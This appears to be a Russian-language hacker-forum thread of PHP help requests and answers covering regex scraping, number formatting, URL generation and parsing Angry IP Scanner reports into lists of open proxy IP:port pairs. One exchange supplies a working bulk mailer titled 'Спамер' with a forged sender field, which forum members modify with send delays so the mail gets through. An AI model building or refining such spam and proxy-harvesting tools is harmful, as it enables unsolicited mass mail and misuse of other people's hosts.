$file = file_get_contents('http://нужный_сайт/index.html');
preg_match_all('/<table(.*)width(.*)border(.*)cellpadding(.*)id(.*)>(.*?)<\/table>/s',$file,$frazes);
//print_r ($frazes);// Раскоментировать, если есть желание посмотреть содержимое всего массива
echo $frazes[0][0];
?>

Architek86
04.12.2008, 00:59
Ыы, Pashkela, тебе огромное спасибо - только твой пример шаблона сработал! (:
Всё гениальное просто...

m0Hze
04.12.2008, 01:38
Собствна:

$dig = rand(100000-999999);
echo "$dig";

Как сделать так,чтобы выводилось не число ввида - 5412487,а например 1435.4456 кроиме деления,и создания 2 переменных.Можноли както отловить значение $dig и посередке поставить например "." ?

rushter
04.12.2008, 01:45
<?
$dig = rand(100000,999999);
$dig2 = rand(100000,999999);
echo $dig.".".$dig2;
?>

m0Hze
04.12.2008, 01:46
<?
$dig = rand(100000,999999);
$dig2 = rand(100000,999999);
echo $dig.".".$dig2;
?>

Я же сказал,чт вариант с 2 переменными не катит.Перечитай пост.

m0Hze
04.12.2008, 01:49
Да,играет.Должен быть способ,отловить значение переменной,и выставить посередине . .
Специалисты как только придут,подскажут надеюсь :)

Vid0k
04.12.2008, 01:56
Ыы, Pashkela, тебе огромное спасибо - только твой пример шаблона сработал! (:
Всё гениальное просто...
А ты хоть проверил другие варианты?!

http://regexpr.ru/?pattern=%2F%3Ctable%28.%2B%29id%3D%5C%22tablaMoto res%5C%22%3E%28.%2B%29%3C%5C%2Ftable%3E%2F&subject=%3Chtml%3E%3Chead%3E%3Chead%3E%0D%0A%3Cbod y%3E%0D%0A%3Ctable+width%3D%22550%22+border%3D%220 %22+cellpadding%3D%220%22+cellspacing%3D%220%22+id %3D%22tablaMotores%22%3E%EB%FE%E1%FB%E5+%F1%E8%EC% E2%EE%EB%FB%2C+%E2+%F2%EE%EC+%F7%E8%F1%EB%E5+%E8+% EF%E5%F0%E5%E2%EE%E4%FB+%F1%F2%F0%EE%EA%2C+%EF%F0% EE%E1%E5%EB%2C+%F2%E0%E1%F3%EB%FF%F6%E8%FF%3C%2Fta ble%3E%0D%0A%0D%0A%3Ctable+width%3D%22550%22+borde r%3D%220%22+cellpadding%3D%220%22+cellspacing%3D%2 20%22+id%3D%22tablaMotores%22%3E1%2C+%0D%0A%EA%F0% F3%F2%FC%0D%0A%26%2C+%0D%0A%3F%3F%3F%0D%0A%3C%3E%3 C%3E%3C%3E%3C%3E%3E%3C%3E%3C%3C%3E%3C%3E%0D%0A%2B_ %2A%25%5E%23%24%23%24%0D%0A%0D%0A%3C%2Ftable%3E%0D %0A%3C%2Fbody%3E%3C%2Fhtml%3E+


и для регулярок есть отдельная тема (https://forum.antichat.ru/thread92492.html)

пс извините ссылку пришлось так вставить а иначе она резалась=(

Kaimi
04.12.2008, 02:02
Как сделать так,чтобы выводилось не число ввида - 5412487,а например 1435.4456 кроиме деления,и создания 2 переменных.Можноли както отловить значение $dig и посередке поставить например "." ?[

Кроме какого деления?
Вариант?:


$dig = rand(100000,999999);

print substr($dig, 0, (int) strlen($dig)/2).".".substr($dig, (int) strlen($dig)/2);

m0Hze
04.12.2008, 02:32
Имю ввиду математическое деление числа,чтобы привести его к нужному виду.Спасибо,сейчас попробую твой вариант.

.:nbd:.
04.12.2008, 09:03
А можно так:
<?php
$dig=mt_rand(100000000,999999999)."\n";
$dig[4]='.';
echo $dig*1;
?>
Умножение на единицу нужно для преобразования строки в число, можно заменить на "+0" или "+1" (не суть важно, число все равно останется случайным =) ), а можно иначе, но так короче. Только не пиши так никогда =).

[x26]VOLAND
04.12.2008, 10:15
Умножение на единицу нужно для преобразования строки в число, можно заменить на "+0" или "+1" (не суть важно, число все равно останется случайным =)Что за извращения? Про явное указание типов забыли?

echo (int)$dig;
echo (float)$dig;

.:nbd:.
04.12.2008, 10:17
Не забыл =) Я же написал:
а можно иначе, но так короче. Только не пиши так никогда =).

Buffalon
04.12.2008, 10:59
VOLAND']Что за извращения? Про явное указание типов забыли?

echo (int)$dig;
echo (float)$dig;
А зачем ты атк делаешь????А вот так тоже можно->
echo (int)$dig . (float)$dig ;

[x26]VOLAND
04.12.2008, 11:21
Я лишь привёл 2 разных примера для разных типов чисел.

semtler
04.12.2008, 18:14
нужен скрипт который бы сгенерил ссылки... :)


http://site.com/1
http://site.com/2
http://site.com/3


например я задаю параметр $max = 77;

скрипт выведет -

http://site.com/1
http://site.com/2
http://site.com/3
...
http://site.com/75
http://site.com/76
http://site.com/77

Gifts
04.12.2008, 18:18
semtler for ($i=1;$i<$max;$i++) echo "http://site.com/$i\r\n"

Chaak
04.12.2008, 18:18
for($i = 1; $i <= 77;$i++)
echo 'http://site.ru/page/'.$i.'<br>';

Doom123
04.12.2008, 18:20
<?
$st = ''; #сайт
$sk = ; #сколько
$i=1;
while($i<$sk+1)
{
echo $st.$i.'<br>';
$i++;
}
?>

это быстрее =)

Pashkela
04.12.2008, 18:21
<?
$max = 77;
$site='http://site.com/';
for ($i=1;$i<=$max;$i++)
{
$rez = "$site$i";
echo $rez . "\r\n";
}
?>

VDShark
04.12.2008, 18:31
Вы что тут - соревнуетесь у кого извразенней код?) Ну нате тогда мой :D

for($s='http://site.com/',$i=0,$n=57;$i<$n; print($s.++$i."\n"));

semtler
04.12.2008, 18:41
все спасибо ;) ++

mff
05.12.2008, 14:58
Здравствуйте ребят!
Как мне выдернуть прокси из вот такого списка:
IP Ping Hostname Open Ports
94.21.65.1 62 ms 1.65.xggline.net 80
94.21.65.2 62 ms 1.65.xggline.net 80
94.21.65.3 62 ms 1.65.xggline.net 80
94.21.65.4 62 ms 1.65.xggline.net 80

.:EnoT:.
05.12.2008, 15:14
Здравствуйте ребят!
Как мне выдернуть прокси из вот такого списка:
например так:
$list = 'IP Ping Hostname Open Ports
94.21.65.1 62 ms 1.65.xggline.net 80
94.21.65.2 62 ms 1.65.xggline.net 80
94.21.65.3 62 ms 1.65.xggline.net 80
94.21.65.4 62 ms 1.65.xggline.net 80 ';

preg_match_all('#([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\s#Us', $list, $out);
echo join('<br/>', $out[1]);

И давайте задавать вопросы по регуляркам в теме регулярок!

mff
05.12.2008, 15:34
спасибо .:EnoT:., но как бы еще и порты прицепить, их несколько может быть:
94.21.66.213 46 ms 213.66.xyline.net 80
94.21.67.2 46 ms 2.67.xyline.net 80,8080
94.21.67.17 60 ms 17.67.xyline.net 80

то есть требуется получить список вида:
94.21.66.213:80
94.21.67.2:80
94.21.67.2:80
94.21.67.17:8080

Извиняюсь, не заметил темы по регуляркам :( Помогите, уже 2 дня бьюсь, голова кругом :confused:

.:EnoT:.
05.12.2008, 15:37
Дай полный html-код, насколько я понимаю ты с сайта какого-то парсишь

mff
05.12.2008, 15:41
Нет, это отчёты Angry IP scannera, вот например один из них:
This file was generated by Angry IP Scanner
Visit http://www.angryziber.com/ for the latest version


Scanned 94.21.64.0 - 94.21.95.255 (Ports: 80,8080)
05.12.2008 5:56:20

IP Ping Hostname Open Ports

94.21.65.1 62 ms 1.65.xxline.net 80
94.21.65.9 62 ms 9.65.xxline.net 80
94.21.65.10 62 ms 10.65.xxline.net 80
94.21.65.18 61 ms 18.65.xxline.net 80
94.21.65.17 76 ms ns1.teleru.net 80
94.21.65.33 69 ms 33.65.xxline.net 80
94.21.66.29 46 ms tps.ruschoc.ru 80
94.21.66.85 46 ms 95.66.xxline.net 80
94.21.66.86 54 ms 96.66.xxline.net 80
94.21.66.140 46 ms mail.imgcis.com 80
94.21.66.153 46 ms 153.66.xxline.net 80
94.21.66.154 46 ms 154.66.xxline.net 80
94.21.66.178 46 ms 178.66.xxline.net 80
94.21.66.182 46 ms 182.66.xxline.net 80
94.21.66.186 46 ms 186.66.xxline.net 80
94.21.66.190 46 ms 190.66.xxline.net 80
94.21.66.213 46 ms 213.66.xxline.net 80
94.21.67.2 46 ms 2.67.xxline.net 80,8080
94.21.67.17 60 ms 17.67.xxline.net 80

[dei]
05.12.2008, 15:43
<?php
$list = 'IP Ping Hostname Open Ports
94.21.65.1 62 ms 1.65.xggline.net 80
94.21.65.2 62 ms 1.65.xggline.net 80
94.21.65.3 62 ms 1.65.xggline.net 80
94.21.65.4 62 ms 1.65.xggline.net 80 ';

preg_match_all('#(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1, 3})\s\d+.*\s(\d{2,})#U', $list, $out);

for($i=0;$i<count($out[0]);$i++)
echo $out[1][$i].':'.$out[2][$i].'<br/>';
?>

непонятно что делать если несколько портов =\

[dei]
05.12.2008, 16:00
шото типа =\
<?php
$list = '94.21.65.1 62 ms 1.65.xxline.net 80
94.21.65.9 62 ms 9.65.xxline.net 80
94.21.65.10 62 ms 10.65.xxline.net 80
94.21.65.18 61 ms 18.65.xxline.net 80
94.21.65.17 76 ms ns1.teleru.net 80
94.21.65.33 69 ms 33.65.xxline.net 80
94.21.66.29 46 ms tps.ruschoc.ru 80
94.21.66.85 46 ms 95.66.xxline.net 80
94.21.66.86 54 ms 96.66.xxline.net 80
94.21.66.140 46 ms mail.imgcis.com 80
94.21.66.153 46 ms 153.66.xxline.net 80
94.21.66.154 46 ms 154.66.xxline.net 80
94.21.66.178 46 ms 178.66.xxline.net 80
94.21.66.182 46 ms 182.66.xxline.net 80
94.21.66.186 46 ms 186.66.xxline.net 80
94.21.66.190 46 ms 190.66.xxline.net 80
94.21.66.213 46 ms 213.66.xxline.net 80
94.21.67.2 46 ms 2.67.xxline.net 80,8080
94.21.67.17 60 ms 17.67.xxline.net 80';

preg_match_all('#(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1, 3})\s+\d+.*\s+([,\d]{2,})(?:\s|$)#U', $list, $out);

for($i=0;$i<count($out[0]);$i++) {
if(strpos($out[2][$i],',')!==false) {
$ports=explode(',',$out[2][$i]);
for($i2=0;$i2<count($ports);$i2++)
echo $out[1][$i].':'.$ports[$i2].'<br/>';
}
else echo $out[1][$i].':'.$out[2][$i].'<br/>';
}
?>

Pashkela
05.12.2008, 16:06
for($i=0;$i<count($out[0]);$i++)

нельзя считать в цикле, когда вы уже поймете. Считать надо ДО цикла.

mff
05.12.2008, 16:10
[dei], не работают твои скрипты, ни первый, ни сторой :(

[dei]
05.12.2008, 16:13
пробелы форумные постирай между 1, и 3
preg_match_all('#(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1, 3})\s+\d+.*\s+([,\d]{2,})(?:\s|$)#U', $list, $out);

mff
05.12.2008, 16:19
фух, не заметил, сижу, уже ни чего ни понимаю..
:) работает вроде, спасибо всем!

PHPoozy
05.12.2008, 16:50
<?php
$list = '94.21.65.1 62 ms 1.65.xxline.net 80
94.21.65.9 62 ms 9.65.xxline.net 80
94.21.65.10 62 ms 10.65.xxline.net 80
94.21.65.18 61 ms 18.65.xxline.net 80
94.21.65.17 76 ms ns1.teleru.net 80
94.21.65.33 69 ms 33.65.xxline.net 80
94.21.66.29 46 ms tps.ruschoc.ru 80
94.21.66.85 46 ms 95.66.xxline.net 80
94.21.66.86 54 ms 96.66.xxline.net 80
94.21.66.140 46 ms mail.imgcis.com 80
94.21.66.153 46 ms 153.66.xxline.net 80
94.21.66.154 46 ms 154.66.xxline.net 80
94.21.66.178 46 ms 178.66.xxline.net 80
94.21.66.182 46 ms 182.66.xxline.net 80
94.21.66.186 46 ms 186.66.xxline.net 80
94.21.66.190 46 ms 190.66.xxline.net 80
94.21.66.213 46 ms 213.66.xxline.net 80
94.21.67.2 46 ms 2.67.xxline.net 80,8080
94.21.67.17 60 ms 17.67.xxline.net 80';

preg_match_all('#(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1, 3})\s+\d+.*\s+([,\d]{2,})(?:\s|$)#U', $list, $out);

for($i=0;$i<count($out[0]);$i++) {

if(strpos($out[2][$i],',')!==false) {

$ports=explode(',',$out[2][$i]);

for($i2=0;$i2<count($ports);$i2++)
echo $out[1][$i].':'.$ports[$i2].'<br/>';
}else{ echo $out[1][$i].':'.$out[2][$i].'<br/>';
}
}
?>


как-то так

dei, ты про табуляцую забыл.

PHPoozy
05.12.2008, 18:58
mff отправил.

mff
05.12.2008, 19:02
Спасибо ребят! Всё работает!

crackmail
05.12.2008, 21:59
имеется такой скрипт отправки сообшений:
вопрос какой код и куда именно его вставить , чтобы скрипт отправлял письма с интервалом 3 секунды , а то письма не доходят...

<?php
$testa = $_POST['veio'];
if($testa != "") {
$message = $_POST['html'];
$subject = $_POST['assunto'];
$de = $_POST['de'];
$to = $_POST['emails'];
// le
//$handle = fopen ($emails, "r");
//$to = fread ($handle, filesize ($emails));
//fclose ($handle);
//$handle2 = fopen ($html, "r");
//$message = fread ($handle2, filesize ($html));
//fclose ($handle2);
$message = str_replace("'","\"",$message);
$message = stripslashes($message);
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=Windows-1251\r\n";
$email = explode("\n", $to);
$headers .= "From: ".$de."\r\n";
$i = 0;
$count = 1;
while($email[$i]) {
$ok = "ok";
if(mail($email[$i], $subject, $message, $headers))
echo "* № $count <b>".$email[$i]."</b> <font color=green> Ok..</font><br><hr>";
else
echo "* № $count <b>".$email[$i]."</b> <font color=red>Ok</font><br><hr>";
$i++;
$count++;
}
$count--;
if($ok == "ok")
echo "<script> alert(' ".$count." OK'); </script>";
}
?>
<html>
<head>
<title>Спамер</title>
<meta http-equiv="Content-Type" content="text/html; charset=Windows-1251">
<style>
.normal {
font-family: Arial, Helvetica, sans-serif;
font-size: 13px;
color: #000000;
}
.form {
font-family: Arial, Helvetica, sans-serif;
font-size: 10px;
color: #000000;
background-color: #FFFFFF;
border: 1px dashed #FFFFFF;
}
.style1 {
font-family: Arial, Arial, Helvetica, sans-serif;
font-weight: bold;
}
.style2 (
font-family: Arial, Arial, Helvetica, sans-serif;
border: bold;
)
</style>
</head>
<body leftmargin="0" topmargin="0" rightmargin="0" bottommargin="0" marginwidth="0" marginheight="0">
<form method="post" enctype="multipart/form-data" name="form1">
<input type="hidden" name="veio" value="sim">
<table width="464" height="489" border="0" cellpadding="0" cellspacing="1" bgcolor="#000000" class="normal">
<tr>
<td width="1" height="16" colspan="0" bgcolor="#999999">&nbsp;</td>
</tr>
<tr>
<td height="194" valign="top" bgcolor="#999999"><table width="89%" border="0" cellpadding="0" cellspacing="5" class="normal">
<tr>
<td align="right"><span class="style1">От кого</span></td>
<td width="88%"><input name="de" type="text" value="" class="form" id="de" size="84"></td>
</tr>
<tr>
<td align="right"><span class="style1">Тема:</span></td>
<td><input name="assunto" type="text" value="" class="form" id="assunto" size="84"></td>
</tr>
<tr align="center" bgcolor="#FFFFFF">
<td height="25" colspan="2"><span class="style1"> Текст</span></td>
</tr>
<tr align="right">
<td height="151" colspan="2" valign="top"> <br> <font color="#B0B0B0" size="1">
<textarea name="html" cols="105" rows="8" wrap="VIRTUAL" class="form" id="html">tut text</textarea>
<span class="from">*</span></font></td>
</tr>
<tr align="center" bgcolor="#FFFFFF">
<td height="40" colspan="2"><span class="style1">Список: </span></td>
</tr>
<tr align="right">
<td height="51" colspan="2" valign="top"><br>
<textarea name="emails" cols="105" rows="8" wrap="VIRTUAL" class="form" id="emails"></textarea>
</tr>
<tr>
<td height="22" colspan="2" align="center" valign="top"><input type="submit" name="Submit" value="Разослать"></td>
</tr>
</table></td>
</tr>
<tr>
<td height="15" align="center" bgcolor="#999999">&nbsp;</td>
</tr>
</table>
</form>
</body>
</html>

.:EnoT:.
05.12.2008, 22:03
в конце while поставь sleep(3)

crackmail
05.12.2008, 22:21
я полный ноль в php . поставил в конце но не пашет...
как именно должно выглядить это дело?

rushter
05.12.2008, 22:25
<?php
$testa = $_POST['veio'];
if($testa != "") {
$message = $_POST['html'];
$subject = $_POST['assunto'];
$de = $_POST['de'];
$to = $_POST['emails'];
// le
//$handle = fopen ($emails, "r");
//$to = fread ($handle, filesize ($emails));
//fclose ($handle);
//$handle2 = fopen ($html, "r");
//$message = fread ($handle2, filesize ($html));
//fclose ($handle2);
$message = str_replace("'","\"",$message);
$message = stripslashes($message);
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=Windows-1251\r\n";
$email = explode("\n", $to);
$headers .= "From: ".$de."\r\n";
$i = 0;
$count = 1;
while($email[$i]) {
$ok = "ok";
if(mail($email[$i], $subject, $message, $headers))
echo "* № $count <b>".$email[$i]."</b> <font color=green> Ok..</font><br><hr>";
else
echo "* № $count <b>".$email[$i]."</b> <font color=red>Ok</font><br><hr>";
$i++;
$count++;
sleep(3);
}
$count--;
if($ok == "ok")
echo "<script> alert(' ".$count." OK'); </script>";
}
?>

rushter
05.12.2008, 23:28
как из файла каждую строку занести в массив ?

PHPoozy
05.12.2008, 23:29
$array = file("file.txt");

mff
05.12.2008, 23:39
']шото типа =\
<?php
$list = '94.21.65.1 62 ms 1.65.xxline.net 80
94.21.65.9 62 ms 9.65.xxline.net 80
94.21.65.10 62 ms 10.65.xxline.net 80
94.21.65.18 61 ms 18.65.xxline.net 80
94.21.65.17 76 ms ns1.teleru.net 80
94.21.65.33 69 ms 33.65.xxline.net 80
94.21.66.29 46 ms tps.ruschoc.ru 80
94.21.66.85 46 ms 95.66.xxline.net 80
94.21.66.86 54 ms 96.66.xxline.net 80
94.21.66.140 46 ms mail.imgcis.com 80
94.21.66.153 46 ms 153.66.xxline.net 80
94.21.66.154 46 ms 154.66.xxline.net 80
94.21.66.178 46 ms 178.66.xxline.net 80
94.21.66.182 46 ms 182.66.xxline.net 80
94.21.66.186 46 ms 186.66.xxline.net 80
94.21.66.190 46 ms 190.66.xxline.net 80
94.21.66.213 46 ms 213.66.xxline.net 80
94.21.67.2 46 ms 2.67.xxline.net 80,8080
94.21.67.17 60 ms 17.67.xxline.net 80';

preg_match_all('#(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1, 3})\s+\d+.*\s+([,\d]{2,})(?:\s|$)#U', $list, $out);

for($i=0;$i<count($out[0]);$i++) {
if(strpos($out[2][$i],',')!==false) {
$ports=explode(',',$out[2][$i]);
for($i2=0;$i2<count($ports);$i2++)
echo $out[1][$i].':'.$ports[$i2].'<br/>';
}
else echo $out[1][$i].':'.$out[2][$i].'<br/>';
}
?>
всё круто, но вот заметил, сканер делает иногда вот такие списки:
95.198.85.169 89 ms sibprodmontazh-gw-r5-p1-280.ekb.unitline.ru80
95.198.85.145 110 ms gubkina-87-gw-r1-p5-330.ekb.unitline.ru80
95.198.85.157 107 ms alpinistov-77-1-gw-r1-p5-25.ekb.unitline.ru80
95.198.85.213 73 ms N/A 80
95.198.85.165 105 ms alpinistov-77-1-gw-r1-p5-25.ekb.unitline.ru80
когда между хостом и портом нет пробела, тогда парсер не парсит такой ip :confused: :confused: :confused:

Что можно сделать?

mff
06.12.2008, 00:04
PHPoozy, нет, не работает...

[dei]
06.12.2008, 00:12
странные отчеты.. ммм...

<?php
$text = '94.21.65.1 62 ms 1.65.xxline.net 80
94.21.65.9 62 ms 9.65.xxline.net 80
94.21.65.10 62 ms 10.65.xxline.net 80
94.21.65.18 61 ms 18.65.xxline.net 80
94.21.65.17 76 ms ns1.teleru.net 80
94.21.65.33 69 ms 33.65.xxline.net 80
94.21.66.29 46 ms tps.ruschoc.ru 80
94.21.66.85 46 ms 95.66.xxline.net 80
94.21.66.86 54 ms 96.66.xxline.net 80
94.21.66.140 46 ms mail.imgcis.com 80
94.21.66.153 46 ms 153.66.xxline.net 80
94.21.66.154 46 ms 154.66.xxline.net 80
94.21.66.178 46 ms 178.66.xxline.net 80
94.21.66.182 46 ms 182.66.xxline.net 80
94.21.66.186 46 ms 186.66.xxline.net 80
94.21.66.190 46 ms 190.66.xxline.net 80
94.21.66.213 46 ms 213.66.xxline.net 80
94.21.67.2 46 ms 2.67.xxline.net 80,8080
94.21.67.17 60 ms 17.67.xxline.net 80
95.198.85.169 89 ms sibprodmontazh-gw-r5-p1-280.ekb.unitline.ru80
95.198.85.145 110 ms gubkina-87-gw-r1-p5-330.ekb.unitline.ru80
95.198.85.157 107 ms alpinistov-77-1-gw-r1-p5-25.ekb.unitline.ru80
95.198.85.213 73 ms N/A 80
95.198.85.165 105 ms alpinistov-77-1-gw-r1-p5-25.ekb.unitline.ru80';

//$list = file('ip.txt');// можно так
$list = explode("\r\n",$text);
$c = count($list);

for($i=0;$i<$c;$i++) {
preg_match('#^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) .+([\d,]{2,})$#U', trim($list[$i]), $out);
if(strpos($out[2],',')!==false) {
$ports=explode(',',$out[2]);
$c2=count($ports);
for($j=0;$j<$c2;$j++)
echo $out[1].':'.$ports[$j].'<br/>';
}
else echo $out[1].':'.$out[2].'<br/>';
}
?>

пробелы в регулярке постирать

mff
06.12.2008, 00:18
работает, но выдаёт лишние двоиточия
:
:
:
:
:
:
:
:
:

отчеты действительно странные :(

[dei]
06.12.2008, 00:23
работает, но выдаёт лишние двоиточия


отчеты действительно странные :(

скинь весь файл. отчет. я гляну.

Gifts
06.12.2008, 00:29
[dei] Чем эксплодить список - можно использовать модификатор "m" в preg_match_all и поставь if (preg_match) чтобы не было лишних двоеточий при выводе

З.Ы, мне одному кажется, что для регулярок придумали отдельную тему не зря?

PHPoozy
06.12.2008, 00:30
preg_match_all('#(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1, 3})\s.+([,?\d,]{2,})(?:\s|$)#U', $list, $out);

бляяя ...

PHPoozy
06.12.2008, 00:34
редактор тупил.

mff
06.12.2008, 00:40
']скинь весь файл. отчет. я гляну.
This file was generated by Angry IP Scanner
Visit http://www.angryziber.com/ for the latest version


Scanned 85.249.0.0 - 85.249.255.255 (Ports: 1026,1080,3128,6588,6654,80,8080)
05.12.2008 19:47:45

IP Ping Hostname Open Ports

85.249.1.100 44 ms N/A 80
85.249.28.132 54 ms N/A 1026,1080,3128,6588,6654,80,8080
85.249.28.131 66 ms N/A 1026,1080,3128,6588,6654,80,8080
87.117.129.92 40 ms 92.129.117.87.in-addr.arpa 80,8080
87.117.129.91 40 ms mx.vers.ru 80
87.117.129.99 38 ms 99.129.117.87.in-addr.arpa 80
87.117.129.162 39 ms mail.altyngold.com 80
87.117.130.227 98 ms 227.130.117.87.in-addr.arpa 80
87.117.130.226 105 ms voice-profsouznaya-33-yakitoriya.stelcom.ru80
87.117.130.231 102 ms voice-navoslobodskaya-20-yakitoriya.stelcom.ru80

PHPoozy
06.12.2008, 00:40
сам код:

<?php
$fp = fopen("list.txt", "r");
$list = fread($fp, filesize("list.txt"));
preg_match_all('#(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1, 3})\s.+([,?\d,]{2,})(?:\s|$)#U', $list, $out);
for($i=0;$i<count($out[0]);$i++) {
if(strpos($out[2][$i],',')!==false) {
$ports=explode(',',$out[2][$i]);
for($i2=0;$i2<count($ports);$i2++)
echo $out[1][$i].':'.$ports[$i2]."<br />";
}else{ echo $out[1][$i].':'.$out[2][$i]."<br />";
}
}
?>

PHPoozy
06.12.2008, 00:41
ну работает же?

mff
06.12.2008, 00:44
пробел убрал, ноWarning: filesize() [function.filesize]: stat failed for list.txt in C:\www\sites\proxy\checkgrabber3.php on line 3

Warning: fread() [function.fread]: Length parameter must be greater than 0 in C:\www\sites\proxy\checkgrabber3.php on line 3

PHPoozy
06.12.2008, 00:47
а где тот файл? ты его еще не создал просто по этому

mff
06.12.2008, 00:49
ой, но вот что он выдал:
85.249.0.0:255
85.249.1.100:44
85.249.28.132:54
85.249.28.131:66
87.117.129.92:40
87.117.129.91:40
87.117.129.99:38
87.117.129.162:39
87.117.130.227:98
87.117.130.226:105
87.117.130.231:102

PHPoozy
06.12.2008, 00:52
<?php
$fp = fopen("list.txt", "r");
$list = fread($fp, filesize("list.txt"));
preg_match_all('#(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1, 3})\s.+([,?\d,]{2,})(?:\s|$)#U', $list, $out);
for($i=1;$i<count($out[0]);$i++) {
if(strpos($out[2][$i],',')!==false) {
$ports=explode(',',$out[2][$i]);
for($i2=0;$i2<count($ports);$i2++)
echo $out[1][$i].':'.$ports[$i2]."<br />";
}else{ echo $out[1][$i].':'.$out[2][$i]."<br />";
}
}
?>

mff
06.12.2008, 00:58
то же самое

PHPoozy
06.12.2008, 01:00
честно скажу. у меня работает но когда копирую вставленный код, снова перестает показывать :(

PHPoozy
06.12.2008, 01:04
может дело в кодировке?

PHPoozy
06.12.2008, 01:08
вот сам файл: http://webfile.ru/2449692

mff
06.12.2008, 01:17
не, скачал но результат не тот...

PHPoozy
06.12.2008, 01:21
кинь результаты в ПМ! жду...

PHPoozy
06.12.2008, 01:34
спасибо .:EnoT:., но как бы еще и порты прицепить, их несколько может быть:
94.21.66.213 46 ms 213.66.xyline.net 80
94.21.67.2 46 ms 2.67.xyline.net 80,8080
94.21.67.17 60 ms 17.67.xyline.net 80

то есть требуется получить список вида:
94.21.66.213:80
94.21.67.2:80
94.21.67.2:80
94.21.67.17:8080

Извиняюсь, не заметил темы по регуляркам :( Помогите, уже 2 дня бьюсь, голова кругом :confused:

код
<?php
$fp = fopen("list.txt", "r");
$list = fread($fp, filesize("list.txt"));
preg_match_all('#(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1, 3})\s.+([,?\d,]{2,})(?:\s|$)#U', $list, $out);
for($i=1;$i<count($out[0]);$i++) {
if(strpos($out[2][$i],',')!==false) {
$ports=explode(',',$out[2][$i]);
for($i2=0;$i2<count($ports);$i2++)
echo $out[1][$i].':'.$ports[$i2]."<br />";
}else{ echo $out[1][$i].':'.$out[2][$i]."<br />";
}
}
?>

list.txt
This file was generated by Angry IP Scanner
Visit http://www.angryziber.com/ for the latest version


Scanned 85.249.0.0 - 85.249.255.255 (Ports: 1026,1080,3128,6588,6654,80,8080)
05.12.2008 19:47:45

IP Ping Hostname Open Ports

85.249.1.100 44 ms N/A 80
85.249.28.132 54 ms N/A 1026,1080,3128,6588,6654,80,8080
85.249.28.131 66 ms N/A 1026,1080,3128,6588,6654,80,8080
87.117.129.92 40 ms 92.129.117.87.in-addr.arpa 80,8080
87.117.129.91 40 ms mx.vers.ru 80
87.117.129.99 38 ms 99.129.117.87.in-addr.arpa 80
87.117.129.162 39 ms mail.altyngold.com 80
87.117.130.227 98 ms 227.130.117.87.in-addr.arpa 80
87.117.130.226 105 ms voice-profsouznaya-33-yakitoriya.stelcom.ru80
87.117.130.231 102 ms voice-navoslobodskaya-20-yakitoriya.stelcom.ru80


результат
85.249.1.100:44
85.249.28.132:54
85.249.28.131:66
87.117.129.92:40
87.117.129.91:40
87.117.129.99:38
87.117.129.162:39
87.117.130.227:98
87.117.130.226:105
87.117.130.231:102

:confused: :confused: :confused:

список получился так как ты просил. я уже не знаю как помочь тебе :)

mff
06.12.2008, 01:37
нет, список должен быть вот такой
85.249.1.1:80
85.249.28.1:1026
85.249.28.1:1080
85.249.28.1:3128
85.249.28.1:6588
85.249.28.1:6654
85.249.28.1:80
85.249.28.1:8080
85.249.28.1:1026
85.249.28.1:1080
85.249.28.1:3128
85.249.28.1:6588
85.249.28.1:6654
85.249.28.1:80
85.249.28.1:8080
87.117.129.9:80
87.117.129.9:8080
87.117.129.9:80
87.117.129.9:80
87.117.129.1:80
87.117.130.2:80
87.117.130.2:80
87.117.130.2:80
:) ну и за это спасибо! Дальше сам буду ковырять!
У [dei] работает, но выдаёт какие то лишние двоиточия, попробую разобраться. Спасибо!

Gifts
06.12.2008, 01:38
mff Заходим в сканнер - Options - Select columns - убрать все из правого столбца. Теперь скрипт:

<?php
$in="This file was generated by Angry IP Scanner
Visit http://www.angryziber.com/ for the latest version


Scanned 87.117.129.90 - 87.117.129.255 (Ports: 80,8080)
06.12.2008 0:23:07

IP Ping Open Ports

87.117.129.92 24 ms 80,8080
87.117.129.91 13 ms 80
87.117.129.99 15 ms 80";

if (preg_match_all('#^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{ 1,3})[\s\S]+?([\d,]+)\s*$#mi',$in,$out, PREG_SET_ORDER))
foreach ($out as $row)
{
$tmp=explode(',',$row[2]);
foreach ($tmp as $port)
echo $row[1].':'.$port."\r\n";
}
Просто и быстро, и все равно тебе хосты не нужны

[dei]
06.12.2008, 01:40
<?php
$input = 'ip.txt';//входной файл
$output = 'output.txt';//выходной файл

$in = file($input) or die ('input file not found!!');
$out_f = fopen($output,'w+') or die('cann\'t create output file!!');

$c = count($in);
for($i=0;$i<$c;$i++) {
preg_match('#^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) \s+.+([\d,]{2,})$#U', trim($in[$i]), $t);
if(strpos($t[2],',')!==false) {
$ports=explode(',',$t[2]);
$c2=count($ports);
for($j=0;$j<$c2;$j++)
fwrite($out_f,$t[1].':'.$ports[$j]."\r\n");
}
else if(!empty($t[1]) && !empty($t[2]))
fwrite($out_f,$t[1].':'.$t[2]."\r\n");
}
fclose($out_f);

echo 'Сделано, насяльника!';
?>

disclaimer: третьи сутки неспал.

mff
06.12.2008, 01:45
Спасибо Gifts, [dei], PHPoozy! Всё работает!!!

Pashkela
06.12.2008, 02:27
А вот вариант вообще без preg_match:)


<?
$fp = fopen("tema.txt", "r");
$list = fread($fp, filesize("tema.txt"));
$t=explode("\r\n",$list);
$count0 = count($t)-1;
for ($i=9;$i<=$count0;$i++)
{
$r = explode(" ",$t[$i]);
$count = count($r)-1;
$count1 = explode(",",$r[$count]);
$s4 = count($count1);
for ($l=0;$l<$s4;$l++) echo $r[0] . ":" . $count1[$l] . "\r\n";
}
fclose($fp);
?>

Zircool
06.12.2008, 13:20
Добрый день! Кто нибудь может выложить пример генерации картинки, через каптчу (самую простую) и проверку ввода днных с картинки..

.:nbd:.
06.12.2008, 13:50
